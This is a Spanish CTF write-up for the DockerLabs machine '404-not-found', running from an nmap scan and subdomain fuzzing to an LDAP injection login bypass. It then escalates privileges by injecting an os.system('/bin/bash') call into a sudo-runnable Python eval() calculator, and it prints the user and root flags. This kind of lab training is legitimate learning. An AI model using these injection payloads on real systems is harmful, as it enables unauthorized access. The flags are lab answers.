> For the complete documentation index, see [llms.txt](https://hacking-3.gitbook.io/barre/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-3.gitbook.io/barre/write-up/dockerlabs/medio/404-not-found.md).

# 404-not-found

<figure><img src="https://2700507804-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FXLTbJaeg92PRVBDD3bHb%2Fuploads%2FfxQdctMW6YgANO0q1M0T%2F%7BA0554998-24DB-45B7-83F8-44DDB7A09D4A%7D.png?alt=media&amp;token=1df85ed9-889d-4e53-910b-664a2e28ef1f" alt=""><figcaption></figcaption></figure>

***

## **Reconocimiento**

### Escaneo de puertos

```bash
sudo nmap -p- --open -sSCV --min-rate 5000 -vvv -Pn 10.88.0.2
```

```bash
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 64 OpenSSH 9.6p1 Ubuntu 3ubuntu13.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 59:4e:10:e2:31:bf:13:43:c9:69:9e:4f:3f:a2:95:a6 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBEWcEvXQdAmofmB0jGrbwFVMWkth7VyKp63CDjuZ2nm8d5XS9EJfQgkj+SRO02+fjCAiTsi95NDmHQiVk0y203g=
|   256 fb:dc:ca:6e:f5:d6:5a:41:25:2b:b2:21:f1:71:16:6c (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBxYEkM/Tvj7atmcIuZeRZXqd4tax6Rk5rs5mlXsEzep
80/tcp open  http    syn-ack ttl 64 Apache httpd 2.4.58
|_http-server-header: Apache/2.4.58 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to <http://404-not-found.hl/>
MAC Address: 5A:D8:DB:0A:72:CD (Unknown)
Service Info: Host: default; OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

Vemos que el puerto 80 no resuelve bien, por lo que lo ponemos en el fichero host para intentar que resuelva correctamente

```bash
sudo nano /etc/hosts
```

```bash
10.88.0.2  404-not-found.hl
```

Ahora nmap nos da un poco más de información

```bash
80/tcp open  http    syn-ack ttl 64 Apache httpd 2.4.58
|_http-title: 404-Not-Found CTF
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.58 (Ubuntu)
MAC Address: 5A:D8:DB:0A:72:CD (Unknown)
Service Info: Host: default; OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

### Web

```bash
<http://404-not-found.hl/index.html>
```

<div data-with-frame="true"><figure><img src="https://2700507804-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FXLTbJaeg92PRVBDD3bHb%2Fuploads%2Fa6lzYTsjK11nMdZcBBfE%2F%7BB0A55904-23B5-4499-AA77-BB26F1A70E01%7D.png?alt=media&amp;token=6a873c09-d118-4c42-8e79-e4e2c270590c" alt=""><figcaption></figcaption></figure></div>

<div><figure><img src="https://2700507804-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FXLTbJaeg92PRVBDD3bHb%2Fuploads%2FPL5NarsGfSOG3gThJWMY%2F%7B778F712F-B9CB-48B0-A99D-97BA17BF8581%7D.png?alt=media&amp;token=b02bc75a-351c-41fb-a500-2e9e5404e6bf" alt=""><figcaption></figcaption></figure> <figure><img src="https://2700507804-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FXLTbJaeg92PRVBDD3bHb%2Fuploads%2FphSWCFICCstCmZ2GPdq1%2F%7B10496132-B598-40A0-8EF8-13CA7CBABE93%7D.png?alt=media&amp;token=2a44fc8d-5a94-46f1-aac5-21bc4c630fe5" alt=""><figcaption></figcaption></figure></div>

```bash
echo "UXVlIGhhY2VzPywgbWlyYSBlbiBsYSBVUkwu" | base64 -d
Que haces?, mira en la URL.%       
```

Este mensaje nos da la pista para buscar en la URL

### Subdominios

```bash
ffuf -u <http://404-not-found.hl/> -H "Host: FUZZ.404-not-found.hl" -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fc 301
```

```bash
 :: Method           : GET
 :: URL              : <http://404-not-found.hl/>
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.404-not-found.hl
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response status: 301
________________________________________________

info                    [Status: 200, Size: 2023, Words: 674, Lines: 150, Duration: 197ms]
:: Progress: [4989/4989] :: Job [1/1] :: 51 req/sec :: Duration: [0:00:04] :: Errors: 0 ::
```

```bash
sudo nano /etc/hosts
```

```bash
10.88.0.2  404-not-found.hl info.404-not-found.hl
```

<div><figure><img src="https://2700507804-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FXLTbJaeg92PRVBDD3bHb%2Fuploads%2F8mVQRyPbp636ri31zig5%2F%7B3D2F788C-8F27-4F46-A5C5-03168F3A190F%7D.png?alt=media&amp;token=7edb733b-f882-4b86-bde7-3485f134e627" alt=""><figcaption></figcaption></figure> <figure><img src="https://2700507804-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FXLTbJaeg92PRVBDD3bHb%2Fuploads%2FCnivfw5kErmh0PaHgmSn%2F%7B265FEC37-DB68-434B-B45F-512D87EAAF71%7D.png?alt=media&amp;token=80de4daa-78d9-46ae-b060-5a1d8745234a" alt=""><figcaption></figcaption></figure></div>

## Explotación

Probamos a hacer un LDAP injection

```bash
user=*)(|(&
```

<div data-with-frame="true"><figure><img src="https://2700507804-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FXLTbJaeg92PRVBDD3bHb%2Fuploads%2FfBJrdF1fdOF5TLgJCutr%2F%7B1A7DE191-8876-4A56-92A3-EECE1548D7F7%7D.png?alt=media&amp;token=a6ad6e3b-998c-4bd1-b6bf-4cc52b6af1b3" alt=""><figcaption></figcaption></figure></div>

<div data-with-frame="true"><figure><img src="https://2700507804-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FXLTbJaeg92PRVBDD3bHb%2Fuploads%2Fzp0O2vRkqEjPJMhqlort%2F%7BF7CCFABB-094B-492A-90DA-5763D3774406%7D.png?alt=media&amp;token=8b1e7b95-81fa-4114-84a6-6d5ee468ef27" alt=""><figcaption></figcaption></figure></div>

Con las credenciales nos conectamos por ssh

## Escalado de privilegios

```bash
404-page@adb3ed3ed75f:~$ sudo -l
[sudo] password for 404-page:
Matching Defaults entries for 404-page on adb3ed3ed75f:
env_reset, mail_badpass, secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin\\:/snap/bin,
use_pty
```

```bash
User 404-page may run the following commands on adb3ed3ed75f:
(200-ok : 200-ok) /home/404-page/calculator.py
```

```bash
sudo -u 200-ok ./calculator.py
```

```bash
calculator> id
<built-in function id>
calculator> 1+1
2
calculator>
```

El hecho de que al introducir `id` el script te devuelva `<built-in function id>` y que `1+1` devuelva `2` es una señal clarísima de la vulnerabilidad: el script `calculator.py` está utilizando la función `eval()` (o una similar) de Python directamente sobre lo que escribes.

### Cómo inyectar comandos de sistema

Dado que estás limitado a una sola línea de evaluación (un "one-liner" de Python), la forma más rápida de ejecutar comandos de sistema operativo es importar la librería `os` al vuelo y ejecutar la consola.

Prueba a introducir esto en el prompt de `calculator>`:

```bash
calculator> **import**('os').system('/bin/bash')
200-ok@adb3ed3ed75f:/home/404-page$ id
uid=1000(200-ok) gid=1000(200-ok) groups=1000(200-ok),100(users)
200-ok@adb3ed3ed75f:/home/404-page$
```

Con esto sacamos la `flag` de usuario

```bash
200-ok@adb3ed3ed75f:~$ cat boss.txt

What is rooteable

200-ok@adb3ed3ed75f:~$ cat user.txt
bef4bb318a17abd01158337811750bcf
```

Probamos `rooteable` como contraseña de `root`, sacando así la `flag` de `root`

```bash
200-ok@adb3ed3ed75f:~$ su root
Password:
root@adb3ed3ed75f:/home/200-ok# id
uid=0(root) gid=0(root) groups=0(root)
root@adb3ed3ed75f:/home/200-ok# cat /root/root.txt
2424b2a3292e20c6e1ade39ed3e77629
```
